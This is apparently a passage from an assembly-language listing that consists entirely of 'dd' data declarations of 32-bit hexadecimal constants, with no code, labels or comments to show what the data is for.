		dd 0ED119BC3h, 956E005Ch, 0A28E4D4Eh, 8882A701h, 0D952D798h
		dd 0E0BB6DD0h, 77EE1B54h, 0FE8030E5h, 0C500D6B5h, 0CC8813FAh
		dd 1EDCD750h, 1D75AA0Ah, 0E56F8086h, 54A4570Eh,	5972A100h
		dd 0B1766895h, 706C00CFh, 60B31325h, 23039B9Ah,	0E43FCDC8h
		dd 0A291392Ah, 67246300h, 0BC6F27B7h, 5653A100h, 6AC0DD21h
		dd 0AEA900FAh, 3F9560CDh, 772A7FB8h, 0FB05BC8Ah, 135F7E68h
		dd 6915C800h, 73AE167h,	0E0A57B5Bh, 0C6839029h,	41063059h
		dd 0D336331Fh, 0D2B60778h, 4FBFCA52h, 9D290323h, 97E177F8h
		dd 91A32300h, 645B755Fh, 3CB93D26h, 635E8B00h, 18E46744h
		dd 0B35D8C00h, 0BDC49E84h, 5CF539BFh, 0D6E4900h, 755A9C48h
		dd 49B1E2Bh, 8AE03F47h,	0E6DD9Fh, 9CF0274Dh, 987A122Fh
		dd 9A3E20C0h, 1CF47CE2h, 59D702BFh, 804008B2h, 7F09F121h
		dd 0EB369Ah, 1D4B6DDDh,	1A576934h, 1E6A4400h, 65759B9Fh
		dd 93080086h, 7B68FAD4h, 4C003C5Bh, 0CD2941C6h,	0EC587A42h
		dd 3E9F803h, 0C3F0191h,	0A9073892h, 2F5E2495h, 57A6B840h
		dd 8E566ECh, 0B51FE90Eh, 70C0047Ah, 0DFD839DAh,	0B9D40066h
		dd 84C23F65h, 303F388Bh, 157700B1h, 669B91D1h, 0C1902417h
		dd 0C0DF061Bh, 0C70021FCh, 0BED6B03Eh, 0B213C5h, 598C99D5h
		dd 96E60FA0h, 31332F02h, 5542F4E4h, 76F84600h, 0F5015AF9h
		dd 472F02FEh, 71801336h, 61D39297h, 6007DE35h, 64CABDF8h
		dd 3E989647h, 0EAE2E700h, 407CF073h, 0B2001498h, 0CBFD58FEh
		dd 0FB25A517h, 7069B0DCh, 330F2895h, 929E0264h,	0FA3F66A2h
		dd 8B1618h, 0B722772Eh,	45DB4492h, 0E808E41Eh, 80CD960Eh
		dd 0ADBAB3BCh, 0E64E223h, 0C28B8583h, 8DB2C03Eh, 610AD3A7h
		dd 0BFF858h, 5855A03Bh,	0FC8A1F3Ah, 3C59008Dh, 0F8ECD029h
		dd 751450C7h, 3792304Bh, 0FBA74079h, 0E0ED8760h, 0B07F00E9h
		dd 9EE1851Fh, 0A47E8091h, 28C046FEh, 434F4AB3h,	6879F1h
		dd 1F3C0FA3h, 0B2A51957h, 8087FF1Eh, 0F3489B07h, 0B68E5DE0h
		dd 4B9600A4h, 0D3C79274h, 25302AACh, 12C62049h,	50720E70h
		dd 1FE6894Bh, 0E80090A1h, 0EC5AD7CAh, 0CF877F7h, 0E9AF52C1h
		dd 0E3006DF1h, 98CF27D0h, 3A477143h, 2818665Ch,	90FA20C4h
		dd 6C9BE400h, 5DECB4FDh, 0B98100EAh, 74690406h,	0D2A08C29h
		dd 0D671C483h, 95932215h, 0DF3A7584h, 0F123079Eh, 18B7E3FAh
		dd 52EA8201h, 6EC18DF0h, 9D801954h, 0DBF03BC5h,	0D87B7900h
		dd 38112A0Fh, 18B0A472h, 0F845EB89h, 600052B3h,	6A54D3AEh
		dd 6E29A079h, 0C3AC48D5h, 5F00B420h, 70A896AEh,	98E89A20h
		dd 788A00D5h, 46099DEh,	3105C173h, 8CBEDDAAh, 13C7EC00h
		dd 6E3554Eh, 0EE49A902h, 76300905h, 0AC7320B5h,	47013A1Ch
		dd 6D807439h, 0FCCA57CDh, 0D5009E67h, 81F977F5h, 2E8FA4Eh
		dd 0FB56C290h, 88A08696h, 3F1B45BBh, 16CD5700h,	98BC0BDBh
		dd 36B505A6h, 6029C1D7h, 0ED0E8CCh, 0A189A33Dh,	5DD34041h
		dd 0A907A4E4h, 45DE333Ah, 0EBF6F6F7h, 4B860041h, 0C1A076C4h
		dd 550062C0h, 991B2114h, 24828715h, 4078C5F5h, 0F8B71051h
		dd 52744548h, 1A078078h, 0FD5011h, 0C6572997h, 0F8D5C18Fh
		dd 0EBD92000h, 8BF74BA8h, 4464486Ah, 0B5B40C72h, 6260C355h
		dd 80ABEB00h, 0DADD4183h, 267212EEh, 93804E54h,	4A310360h
		dd 0B57C56CCh, 3C5ED900h, 510914B1h, 266E07CFh,	431D474Fh
		dd 207D42F5h, 1411BC26h, 0BEC0461Ch, 1DE3C325h,	2AE03D3Ah
		dd 0DD0F483h, 5B83F1AEh, 7136CFB0h, 419C5D00h, 0A8A53ED9h
		dd 730002Bh, 0FE374F81h, 6E624E97h, 19E7321h, 0D45CB4A5h
		dd 3E0E5A15h, 3C72FAD5h, 0CC296FD8h, 2CA252CFh,	846C2100h
		dd 9761E7E3h, 33C3221Dh, 79738D00h, 3DBF5C1Fh, 86004A6Bh
		dd 0FF3A40EAh, 64037A13h, 78D18AB9h, 75D5E861h,	836E3A60h
		dd 0DB3F1060h, 300BE43Eh, 5A1D25h, 2A4AB081h, 8020C076h
		dd 87A52E2Bh, 0C0B11C00h, 0DD71479Dh, 50B303E5h, 58F791FAh
		dd 0EE8009ABh, 0A10016DEh, 0D51F866Eh, 0E9C342h, 98E32085h
		dd 78A0199Eh, 4D15A07h,	56802632h, 1617B1Eh, 0DCB27EA6h
		dd 0E0177FA5h, 0F7CD603h, 400CBC20h, 59015C81h,	59FAB31h
		dd 9CD8654Ch, 38B11DD6h, 1E43001Ah, 0B6ABF9ECh,	0BA1CC500h
		dd 0B1D7C14Dh, 0E9600D8h
		dd 6FF2E80Bh, 0CA3AE7A8h, 0CE7C105Bh, 69A08300h, 565C8401h
		dd 7D140600h, 76E2F449h, 0F1150027h, 5ED518Fh, 0AB03E430h
		dd 0E51777DBh, 0AC8CE0F7h, 3BB63A31h, 81CE381Eh, 0E82E2743h
		dd 0DCA1D92Bh, 92228795h, 897A00F9h, 0EFB16705h, 0F303F15Dh
		dd 3C513775h, 0B349E869h, 4BE900C8h, 0D4C524D9h, 3F73CA1Ch
		dd 5FF0B000h, 26D155D2h, 3E3CE8A3h, 0E180DF9Bh,	1415BBC0h
		dd 39B03DFAh, 0B831D07h, 0A3F0214Eh, 0F2BCE9E6h, 5096614Ah
		dd 0C8F6362Ah, 92F2882Eh, 0EAFB2400h, 31B5BA6Eh, 185E630Ah
		dd 61008B71h, 7F11B4ACh, 167490D6h, 584421Bh, 0C1975401h
		dd 80E2376Bh, 74616E59h, 1841E135h, 19BBD25Bh, 5100871Eh
		dd 94781664h, 0CE46B53h, 0A53D19C1h, 0F400C520h, 0F5236089h
		dd 35C4BE95h, 86089471h, 140220A4h, 829B6051h, 1A1DE043h
		dd 8E2300BFh, 0BAFAC4A7h, 69056F96h, 27B128F0h,	89D89C1Bh
		dd 0A4505008h, 0A685BCh, 0F533EE86h, 0D80D5999h, 26605798h
		dd 55FB9520h, 0A4253FD6h, 165F7A0Eh, 37B277E1h,	708987F8h
		dd 0BB51E97Fh, 0E7ED7496h, 592EE087h, 6F2C40D5h, 761851DDh
		dd 0F6C92FB2h, 0FCBA0E10h, 0C7A7C102h, 407082AAh, 0F9D97483h
		dd 853BA17Fh, 4DA60135h, 0EF88671Fh, 53F20422h,	0F2CC7931h
		dd 0D6570A6Dh, 19412AAh, 3151ED43h, 2A28809Eh, 87140A65h
		dd 60DA5838h, 8F26374h,	2000D609h, 186F3CF8h, 0FEE1363h
		dd 72052759h, 1FB37420h, 38583DB2h, 5FC50027h, 0E1913FACh
		dd 0E5100084h, 0F6715B9Ah, 671509CBh, 0F0AF1Bh,	0B79D1AF9h
		dd 9BFAE22h, 5C5DA1B5h,	0CA933401h, 2AA040FEh, 546010EAh
		dd 8F2C87F1h, 23E0000Ah, 0B7909372h, 0E70A1250h, 0EC071524h
		dd 7255FC60h, 0D80B21EDh, 29E488h, 3D56175Ch, 68501C83h
		dd 98A93FB9h, 0C74AFCEBh, 267B2000h, 0E8E2A951h, 9C7E00EFh
		dd 4DF9070Fh, 3F64824Ch, 0AC8063B9h, 6013EBE5h,	0DFC88BCh
		dd 650BF1DBh, 53CFF6h, 0C9BD1DE0h, 0AAE203E9h, 0EECBBC4Dh
		dd 0C6212008h, 0D75A0FA2h, 85F4D140h, 2B0026B9h, 0FBA4039Fh
		dd 53236Dh, 58261B4h, 39C9D2E6h, 4A13F603h, 0EB2E34DDh
		dd 0D9713A6Bh, 400CF515h, 82A20D79h, 278AD1Dh, 0AF22CA40h
		dd 411400C0h, 101FCF87h, 3E396FE4h, 4E7800F1h, 3223AF1Fh
		dd 7F3809D2h, 0FB0F5CC8h, 0CDFD1680h, 35181F36h, 0A071E7D8h
		dd 0DC010631h, 496BA96Ah, 0B5FDCC00h, 5D0BADCEh, 2481242Bh
		dd 6E4C00A6h, 84171471h, 0AD6B8D00h, 0E4A988D3h, 93E93F53h
		dd 0F6547680h, 492CC40h, 0DFBBCA06h, 5937A6h, 3DCB8172h
		dd 2CA4B7DDh, 5FB0E81Dh, 3A739E00h, 60765EBBh, 7E32996Ah
		dd 3B03C2EFh, 47333963h, 6F1800F0h, 0DB08B91h, 0C90CF584h
		dd 82046E6h, 585C7905h,	0B00E766Fh, 8760F434h, 0DB6E0295h
		dd 67363900h, 9C08DD48h, 245B1BE5h, 60105066h, 0D1C0445Dh
		dd 85840FB0h, 21BD6F8Ch, 0DC00F9DCh, 777857A9h,	0D803221Fh
		dd 7F7EA3BCh, 0FB701599h, 3400D8D1h, 0CC4D7CAAh, 49F854F4h
		dd 6FCEF102h, 40509F09h, 7B948208h, 26EE0E8h, 0DBF6A90h
		dd 0D6006FE7h, 0E8863610h, 630F0076h, 66982683h, 20D471E0h
		dd 6236015Dh, 8CE8BC2Ch, 0A8338DD4h, 1B3F184h, 43D4DBA8h
		dd 402FC174h, 0AF361CC8h, 0D0183C0Fh, 400912C9h, 918015FBh
		dd 34D880CDh, 0C13538h,	5FEC8349h, 656E03C3h, 541B5158h
		dd 0DEF6E774h, 0CE1F8890h, 6BC1EF17h, 0F0B6C82h, 0A8408844h
		dd 0CFED3F1h, 0B95B63A7h, 98B894C5h, 467AAAEFh,	3B02EC1Fh
		dd 22313998h, 0F9C7CF4h, 0BC62CBB4h, 0AB1FFED8h, 0EC587B60h
		dd 0DFB7E931h, 207F0682h, 68C8186Ch, 701FC711h,	3B32EF7Bh
		dd 21C36086h, 4AA4872Bh, 76286400h, 0D33261C8h,	648D39Fh
		dd 58D7AC22h, 3CBFCA03h, 901B4E0Dh, 181D2ED0h, 885D5E8Eh
		dd 0E800C594h, 429A5A4Ch, 0FA76AE2Ch, 0D4100DEh, 9F8278B9h
		dd 5C000216h, 0DF86B64Ch, 5EAA5C1h, 14E81AA9h, 1D77C0BFh
		dd 0C800E936h, 7185A710h, 3BFDA181h, 798004F8h,	114ACDB3h
		dd 27002488h, 0E197CA3Ah, 9F63B5h, 0D2EA153h, 61F2CEC6h
		dd 2621DA00h, 92496A4Eh, 77E7591h, 9BF01BA7h, 0DEA927E8h
		dd 0DDB09EA0h, 0D300ABAFh, 5FB4F18Ah, 4BE4D9h, 72390EE1h
		dd 95C688DFh, 0EEEF8200h, 8C38B975h, 1F3FE6AAh,	40FB2171h
		dd 0A301518Eh, 5A73AC53h, 5BF4500h, 7E848092h, 0F19D0071h
		dd 20A82F79h, 0D5003123h, 5A4FCEA5h, 5B124h, 0F95CB91Dh
		dd 0F7E1566Ah, 0C05F0606h, 0C8F361h, 0C3C43757h, 4745F272h
		dd 0AE065794h, 1F20E664h, 790CD8Ah, 835CA758h, 9AD05388h
		dd 860C7ECEh, 60D8E0BFh, 4DDF07E5h, 676957E1h, 284C40AAh
		dd 0E4079EABh, 0E3C6020Bh, 6F075B70h, 0ACF6FEh,	54D7A1B1h
		dd 89461E81h, 90367B04h, 0B786A59Bh, 4BF5210h, 0F43088BCh
		dd 626310F5h, 3B53E69Eh, 0B3CCA38Ch, 88819F03h,	0F99B407Dh
		dd 89F8F5B3h, 68629AE2h, 21399F28h, 7E5C06h, 41405DDh
		dd 68818954h, 37FB0438h, 0C8ED6F47h, 1F28D114h,	52C2276Ah
		dd 61F78Ch, 9DFEA23Ah, 80638A38h, 0CD594376h, 72F627Eh
		dd 16A65B96h, 80834493h, 5CE46B39h, 7E05E307h, 74504D54h
		dd 1F38881Ah, 0F64230Ch, 0BA002BC0h, 0EA628391h, 0C1D1F7A0h
		dd 10C4240Fh, 0AA1B87BDh, 0E81D1AF3h, 265CD302h, 395FDF82h
		dd 1F57F880h, 54328C11h, 58F4F500h, 6684BF53h, 0E0DC00BBh
		dd 31106495h, 9400CE57h, 8D4C090Dh, 0A083A9h, 0B86AB282h
		dd 8121FB91h, 8620DF00h, 5EE49650h, 0A2020053h,	66B98872h
		dd 42241039h, 1E00E137h, 0D398D989h, 15140373h,	305B618Ch
		dd 72B19390h, 0EA54B20Eh, 0F22B4085h, 12FE43Fh,	29C77A5Fh
		dd 40A86252h, 6F4DCF0h,	8036ED3Eh, 51460141h, 48829A8Eh
		dd 0EB004D22h, 9299B2CAh, 0ED042B23h, 690FCB86h, 0FC8B0FBBh
		dd 0DABA8580h, 1F0E909Ah, 32BC6CF4h, 1C621800h,	7A7D60FFh
		dd 527100BFh, 58AF217Fh, 47F42A0Ah, 26FF0207h, 6A552870h
		dd 7C05A800h, 3FC53Bh, 62EA2E2Dh, 61AA1CE2h, 747AB800h
		dd 2A3646B2h, 217B16A2h, 9A5C0001h, 0BC47BE2Fh,	3F088A05h
		dd 0BD80C888h, 118507h,	0D91903AEh, 4820307Fh, 0F804FA04h
		dd 708088FDh, 7B5628F5h, 947B5Dh, 0AA84458Bh, 0BE35C1AEh
		dd 96241200h, 0B2130B9Dh, 0A188000Fh, 43BD94Dh,	4100B5D5h
		dd 34C2A4F8h, 3B77273h,	0E0A842A9h, 93807A9Eh, 4E00015Ch
		dd 6776A73Fh, 33B3DB9h,	858B562Ah, 52E2540Eh, 0B4CA88C0h
		dd 0BC59020Eh, 6C366021h, 5E103h, 0B3DFADBFh, 151A8E56h
		dd 927AB707h, 3F406D30h, 0B1AE62h, 5E3BC166h, 1020A05Fh
		dd 14607400h, 0E6947F85h, 0DB9E0086h, 0FD50981Fh, 4E00FB79h
		dd 45254F09h, 136A1558h, 506A823h, 80538A52h, 32CC93F7h
		dd 0E928951Fh, 0C2C07C03h, 8738B057h, 274600F4h, 1C4DA9B8h
		dd 0A8008D6Ah, 354F6C83h, 637FC5h, 2D9D725Fh, 62D40E57h
		dd 7A07ED7Fh, 1773DCFCh, 15F02557h, 772FF0h, 0F583A1F4h
		dd 0F2E1084Dh, 9A6D2600h, 7595EDB8h, 0BDE41DDAh, 30E681A0h
		dd 0DCEE3494h, 26007154h, 0F4ED33Dh, 0C3BA62h, 0B6A90919h
		dd 1F33C061h, 0D09E5500h, 350B6076h, 0EEFA1D05h, 65ADC02Ch
		dd 0ABC446B7h, 6BB2C107h, 3D4063D3h, 132519Fh, 1369FF5Fh
		dd 7068FD79h, 0FE0E1816h, 29B66A55h, 0DF9806Bh,	0E2132A7Bh
		dd 82B80F1Bh, 0ABA7DF0Eh
		dd 2C0DE95h, 4B45BF76h,	0FF23F207h, 0BC40642Ch,	0F8FC6Dh
		dd 0E319BD4Dh, 0E26F7388h, 11E9B600h, 0EB90A3Ah, 0A860006Dh
		dd 1EA9548Fh, 0B600C870h, 2A3872D0h, 34BE19E7h,	0C780F253h
		dd 9DE5078h, 1D012FEBh,	457FCA77h, 9EF8DD97h, 67343h, 83EF0BCEh
		dd 0F4A005A5h, 427E1100h, 0BD4A46D9h, 0F16101F0h, 0E5102E49h
		dd 0DBEF062h, 0D5E1D80Fh, 1AEE40ACh, 62928h, 79182BC2h
		dd 3F05651Fh, 0A784DA00h, 0B03599FDh, 3080012Fh, 0ACD99E34h
		dd 0A1A9F089h, 5B78DA2Ch, 98CBBE00h, 3E871AD0h,	0A605552Bh
		dd 0B44D07h, 25C49CBFh,	0C100A89Fh, 0CA43E783h,	0D31B93h
		dd 0F6AD74BEh, 84233F13h, 0F3DD7700h, 7B0E5DC8h, 880C0015h
		dd 0C4EC2DADh, 8DB05975h, 0F4BC2400h, 0AC935649h, 0A20707B4h
		dd 7EB81568h, 437479A0h, 0EA0FEE64h, 60E09023h,	306A7A27h
		dd 6EA00072h, 0B3AD9850h, 0EB038D76h, 0F3BF493h, 20DEA890h
		dd 9D1E1C38h, 0ADF780E2h, 811817D0h, 5500B873h,	124D597Eh
		dd 0C4F6C0h, 0B410A90h,	287D8C2Eh, 4B000C7Ah, 8473271Bh
		dd 336B30h, 0BDAA6620h,	4DF4A121h, 0F95D8800h, 9B8FA90Eh
		dd 0FF0A007Fh, 2F77B563h, 6600C72Dh, 4F376ED9h,	0A7EFB7h
		dd 941C54EBh, 0FE0C085Dh, 43264E00h, 16B473D0h,	0C01E3DCAh
		dd 0B50B4B80h, 77BB7F6Ah, 3A634F03h, 0F8150FAFh, 3C6548Eh
		dd 6DF8730Bh, 0C2005DCFh, 334CE3D3h, 1D8F439Bh,	400F4645h
		dd 0F1D2E840h, 844CF46Ah, 0BA3F781Dh, 0D3758023h, 562C0EB1h
		dd 1C3900DFh, 3C92CA19h, 1B03829Fh, 88C603B3h, 0AB0DB811h
		dd 0DDF400CFh, 8284839h, 6607DB5Bh, 77ACAF78h, 0C36C3A92h
		dd 0CD200098h, 0FCC6255Dh, 9E001FABh, 0CF52E338h, 0F89FEBB6h
		dd 44BF092Dh, 6A8095A8h, 4D456B0Dh, 0E5BAEC00h,	879ABE6Ch
		dd 9C2100C6h, 0CF018CBh, 0D1B837A9h, 74D0B880h,	9116A300h
		dd 950F43A7h, 578B0098h, 0D4FE797Ah, 0E100526Bh, 901C9340h
		dd 9153AEh, 44275CC3h, 528E460Bh, 80865401h, 0AB7A4957h
		dd 8158089Fh, 59A74E2Dh, 0FE28305Fh, 9D4A8900h,	204AE1Bh
		dd 0F7875E5h, 77D470A9h, 68ED0320h, 0A0E21762h,	5BC50C1Eh
		dd 0CE5C81C0h, 2DA06A1h, 9F1BFEFCh, 39401DB8h, 3900E4D7h
		dd 468FF085h, 3CBF68h, 0EEC270ACh, 6D3FDC16h, 2FD06C00h
		dd 8BD42565h, 3D8200A1h, 0D71B3445h, 0F1005A23h, 59E5F50Ah
		dd 16806Bh, 0E12A516Dh,	7030B36Ch, 0D986507h, 5C77288Ch
		dd 9DFC285Dh, 0FFF30377h, 0EDEEBA91h, 83E993E0h, 0FA6C0300h
		dd 16C7E23Ah, 1DC506BDh, 38DA1BDFh, 8F663500h, 717B736Fh
		dd 0A6E80088h, 1ECC84C9h, 48268B3Fh, 6E067EFCh,	58B9AAh
		dd 0BD1DA6D2h, 11B625BAh, 0CB36A900h, 0A502C472h, 3CDBEC99h
		dd 0BBFEAFEh, 68E67098h, 1F00A6A2h, 47017884h, 3A0E94D4h
		dd 0E9E0ABAFh, 844FCCE7h, 0D5A5E8EBh, 0A8076D07h, 7031DCECh
		dd 65FCE690h, 8E1500A4h, 0FCA7A030h, 6602BAA3h,	294A0A6Eh
		dd 750A408Dh, 5CF1E21Ch, 9500CAFDh, 0F003D7B6h,	4303D577h
		dd 9F321408h, 6FE7F8EFh, 8CA91C31h, 87E840ABh, 52FCC4BFh
		dd 0B400D7E2h, 65C51DBh, 9F49FB03h, 5800DCD0h, 0DE52DF2Fh
		dd 66FFE1h, 0FE04443Fh,	0F9362C6h, 95B28D1Ch, 4A97ED40h
		dd 0B68F290h, 26C67643h, 2D3B9400h, 0D200E7EFh,	0A4CB0B8Eh
		dd 6D0918h, 0CF10D1DBh,	0EFE7C2Eh, 0FBF95C00h, 3DEEB1A7h
		dd 7B9900CEh, 0C0345077h, 8300212Dh, 434D01DCh,	0CA9CC5h
		dd 64B8D95Eh, 32F3D6D2h, 0FFF60400h, 59A9ADABh,	7C8E0042h
		dd 192C979Ch, 65EEE908h, 5400A579h, 46CCFD26h, 0FECA17E6h
		dd 0ECE7015h, 0B2777205h, 0EFFDBDE1h, 0ADDBDC5Eh, 1BF8397Bh
		dd 689CBF0Bh, 45568Eh, 6991CE10h, 2B301A48h, 92CC86EEh
		dd 55F60071h, 9AA0647Bh, 667EEF5Bh, 674118C0h, 0A43D90h
		dd 18347A2Ch, 0C35CD846h, 6B69D901h, 0DDC8F1FDh, 0A6B2ACh
		dd 0D62B67E2h, 0EF00BEE9h, 25B4EED2h, 1782EA7Dh, 62D878h
		dd 38933346h, 37009843h, 0C37B7F61h, 0C54A15Dh,	6660AA20h
		dd 4B18C9BAh, 9AA8216Fh, 2B6B0001h, 97A3B65Eh, 0CE00AEBEh
		dd 91B067C1h, 2E15FFA0h, 3A15F7Dh, 14A4850Fh, 1D39B4D0h
		dd 33EFE400h, 0E9C9D2F8h, 0F004249Ah, 35610024h, 0B3341D13h
		dd 0FA268638h, 794C9D00h, 2A70A2A6h, 4416008Dh,	0C5B898ACh
		dd 5F075BB7h, 0E2BF9062h, 0F48DF5A0h, 0F64D00A4h, 45F939C9h
		dd 6F0086CCh, 1FDB7461h, 90175902h, 58C6015Eh, 9669C5FCh
		dd 987080A2h, 8E92F111h, 77CC1DDEh, 0E0663Ah, 86B93C70h
		dd 1200B0E0h, 1EA87E63h, 247695DFh, 1E04F4BAh, 6A98F9F8h
		dd 38D1A83Bh, 96D23303h, 0D9C54DE0h, 289EF1EAh,	0C4884011h
		dd 2C82FA15h, 0CEBF0803h, 0A0DCD1E1h, 1CD9F8C9h, 80A4AF66h
		dd 0CBAC2C48h, 7624F413h, 7500BCEDh, 0F117C0EBh, 75077E67h
		dd 2D5D0324h, 6A36C695h, 35557AA0h, 4100C9F6h, 5FDB9208h
		dd 1FE8CAh, 0D87BB42Ah,	2247B28Fh, 0FC7C640Eh, 5302600Ah
		dd 0E4D51Fh, 7A1CD6A6h,	366BF9B9h, 0AD2BF401h, 0CCB28334h
		dd 0B82632E0h, 0D39B0117h, 2A468501h, 728EE433h, 95D11909h
		dd 456F80C9h, 1ED99B35h, 0CE8B8759h, 0F1805474h, 0A11F0772h
		dd 6EE3CD09h, 5009FDh, 9883930h, 6B91035Bh, 653D8A50h
		dd 0BBF914C8h, 87743B00h, 709B99F1h, 0A2813A3Eh, 0A6D06D80h
		dd 98324B09h, 10FB6B07h, 0BFD090F1h, 1D6DF13h, 73431EEDh
		dd 30927026h, 0B10CBE65h, 922E6036h, 0F66F180Ah, 44C9107Dh
		dd 0EC6B370Eh, 0DB1940F7h, 0E2111BF2h, 401000C1h, 4B9ED891h
		dd 0B0C2ED52h, 0C04909B6h, 0F2D7F8F5h, 895F09F7h, 0BA0FEFFCh
		dd 10847807h, 7F056020h, 0AC820200h, 46ADB6FEh,	12BB017Bh
		dd 8CF51D4Eh, 0A968E8A7h, 30E7E800h, 5A7E40A6h,	0F49507CBh
		dd 50FF3E63h, 3801C181h, 0CD0A3100h, 0EFC26F6Dh, 0D9C0EB1h
		dd 0D165849Eh, 958E8074h, 0D60050A0h, 36B04BE3h, 4D7902Dh
		dd 0E6660CC6h, 0C00080A7h, 771E550Fh, 0FAC24Bh,	36312E56h
		dd 859D59h, 0F62158AAh,	50E7DFAh, 260ECD70h, 20684192h
		dd 0E7486EFCh, 0C61B076Bh, 300122A2h, 9A776336h, 0ACA50B07h
		dd 5330E188h, 70C2F6Fh,	32D67F09h, 90BEE744h, 8C5EF8EAh
		dd 603A087Ch, 27E58EBDh, 0D9776284h, 0DED4906Fh, 23DC8078h
		dd 1209D700h, 6542AEC7h, 28147AFFh, 0DC6A41h, 0DECE881Ah
		dd 0C6F8A007h, 0F29B6B00h, 1FB0D1E4h, 0F11B0EC9h, 24C0FE65h
		dd 605695DDh, 0E063101Eh, 2B368FFCh, 262860EDh,	0B5C97Dh
		dd 0EC1AD7E5h, 0FB68A19Ah, 6AF0B100h, 1F84D6A2h, 7FE3007Ch
		dd 61675010h, 0D21B2ED5h, 0C019BC7Dh, 0E69DEDC4h, 20210218h
		dd 9BA5BE62h, 0C9F0E8C0h, 0EEA7CC00h, 0F8811396h, 6F670723h
		dd 955830DDh, 4EAC053Dh, 1FBE0F6Eh, 9E41CE7h, 8376C980h
		dd 0E31F7F0Ch, 670028D5h, 0D945CC5Eh, 346107C5h, 11AA1306h
		dd 8F683787h, 606A3148h, 801CAE2Fh, 0C179F7h, 0F5AD3A1h
		dd 0D5390DE3h, 0D71F1800h, 370599F5h, 311400ACh, 834BC5F0h
		dd 0E100509Eh, 3285C46Bh, 940F60h, 67B14F6Dh, 0EC20E05Ch
		dd 0AA7CED00h, 0E46F9629h, 3EDC03A3h, 0D72E6BC5h, 9F126CF8h
		dd 3A55D605h, 0F000AECCh, 0E167A2DDh, 0DAD8001Ah, 8CC5E383h
		dd 3D2EC732h, 7C122020h, 0B1C89400h, 7BD0EFB5h,	12E91FF5h
		dd 8256406Ch, 41E663C9h, 207DFBA0h, 1B00D4B0h, 6204D954h
		dd 0C29A6Fh
		dd 14EDFEFCh, 6B573D7Ch, 5CE2DE00h, 0CFF1BC16h,	1B6A3155h
		dd 40AB2D91h, 38C83090h, 0A14896FCh, 0DE9F0BDBh, 9320000Ch
		dd 0F6F78A7h, 0A5DAF36Eh, 0EF2949E0h, 9AF826FAh, 0A8D11E00h
		dd 3266B112h, 5B3909BBh, 0DC1007FFh, 0FD13636Ah, 400AA55h
		dd 716E51D1h, 26830723h, 3037C119h, 275D6A88h, 74CEB512h
		dd 34012401h, 0CD47C880h, 0F3E09AD0h, 987116h, 9F822792h
		dd 51CAA4E8h, 0E1392116h, 0D649E020h, 0A2905Fh,	8A7AB3CBh
		dd 6D536504h, 80141504h, 4C01E36h, 5E9585h, 0C07EA53Ch
		dd 9B97678Eh, 46891600h, 3D40631Ah, 23B005Ah, 60ACBA9Ah
		dd 280361FEh, 0AB4B667Eh, 8030B3B7h, 3A1EF3BDh,	0D303D9CDh
		dd 0EEA45F2Fh, 5EA83B93h, 184A6C93h, 0D6C92003h, 1F729E1Eh
		dd 80D00665h, 9C38AD58h, 5D07A449h, 9FCCB944h, 348094B4h
		dd 16EAC0h, 49C25E1Ch, 902BC5BEh, 0CFAEA000h, 73A31865h
		dd 83430717h, 20B41332h, 357B44B1h, 7F3C0471h, 0F7AC00B5h
		dd 884DFAFEh, 4542018Eh, 0E774D06Ah, 71D8FC69h,	49D4FB00h
		dd 0B78FC8B6h, 40A50055h, 2AEF7899h, 0AB03B825h, 0E805C9E9h
		dd 0DF29D044h, 0C5A8006Bh, 0EDFF1840h, 930EE073h, 0C0E9C0D0h
		dd 506DC6FCh, 38CD1E53h, 822F0F72h, 798C1C00h, 0A7002E90h
		dd 41C8D2B3h, 54091474h, 1C0A9091h, 7B8F66E8h, 23CFAF87h
		dd 0C34880B8h, 80007235h, 0DF8460D6h, 0A0E742C6h, 7F77E3h
		dd 0F096E25Bh, 0E00ACF46h, 7978893Dh, 4DC28500h, 52081FDAh
		dd 3F9769Ah, 9397B8F1h,	95A8C835h, 8D733DA1h, 2ECDEE3Eh
		dd 0E20025F5h, 8E873FE0h, 131B07C6h, 80E82953h,	0FEB0CD89h
		dd 4F11FB00h, 0F2A6A750h, 31AE00D5h, 0E746EEB8h, 0D4005DB9h
		dd 5A530B5h, 8D593Ah, 0EA8536DBh, 0F76447FAh, 92F3D409h
		dd 385383BBh, 0E2EBC81Fh, 415B007Dh, 6A0C8FC9h,	0C200CDFAh
		dd 1FC72752h, 38BC8A5Eh, 1DB0B777h, 0CA59E7AAh,	89C2EA01h
		dd 0BC5CD153h, 763DA0DCh, 482D58D9h, 662011h, 0A5D5E259h
		dd 508E34h, 0ADFB55EFh,	6720DD76h, 155EB500h, 0F0F6B205h
		dd 5414007Fh, 784369F4h, 6E01AB8Ah, 0D41C4595h,	0C0702ACEh
		dd 0DC9184h, 48A38966h,	0DD00A869h, 39656304h, 0ADA56Bh
		dd 0D4EC3E4Ch, 917926E3h, 0AE007B78h, 0A75B439Ch, 0F264D98Ah
		dd 16F400C8h, 72ACC04Fh, 60000135h, 2A9D3DC9h, 76DBD4h
		dd 0A5959E59h, 0A16FA4B5h, 784B030Eh, 5E4A63A2h, 0F3C0F449h
		dd 3B409042h, 0FF802E34h, 5B268F19h, 1202145Eh,	0A9F83829h
		dd 0C88E2Dh, 311EB164h,	0FAE401CBh, 0F68B62B2h,	6AE8F049h
		dd 2A9FE007h, 0C2005204h, 292BC29h, 33FD4381h, 0EC40594Bh
		dd 0B61D34C5h, 2FC0B58Eh, 523124EFh, 0B3F100F4h, 553EC104h
		dd 9600AAB1h, 0E3381074h, 0A58071h, 0F9689002h,	0F3C08BD9h
		dd 0BAA448h, 0B87DBE44h, 1C91C905h, 4045FBDAh, 34C154B7h
		dd 460F5FF3h, 20139E4Dh, 64D78301h, 0F8E0136h, 559F3CA2h
		dd 6FEE43CDh, 3B79FFC0h, 7A257F00h, 8C72BFF5h, 0B985006Ch
		dd 5612D03Eh, 0DB2EDDE9h, 9803665Ah, 80FE11A9h,	0E52BA39h
		dd 8780D6DEh, 0ECF335A1h, 9D72C029h, 88D220E0h,	5B094001h
		dd 4570AA8Bh, 81F100CFh, 95DFC2F0h, 0A900C5D7h,	3D45E77Fh
		dd 1CA48C8h, 504E3B05h,	405C9E7Ah, 0A2081C9Ch, 0BB33D71Fh
		dd 199F690Ch, 785850B6h, 0E6120042h, 0B315E8D3h, 59EAC9B9h
		dd 2A24FD00h, 0A153D57Ch, 8EFB3B96h, 0C699A880h, 0F0146A27h
		dd 0AD726601h, 605704F2h, 0BE8580D2h, 0DC621Ch,	0EE840107h
		dd 69E21983h, 0CEFC8200h, 0A82874AAh, 5E5D0CEFh, 0B091A141h
		dd 29636C06h, 75A78FEh,	0BE7BDA26h, 0CC99B08Bh,	51508947h
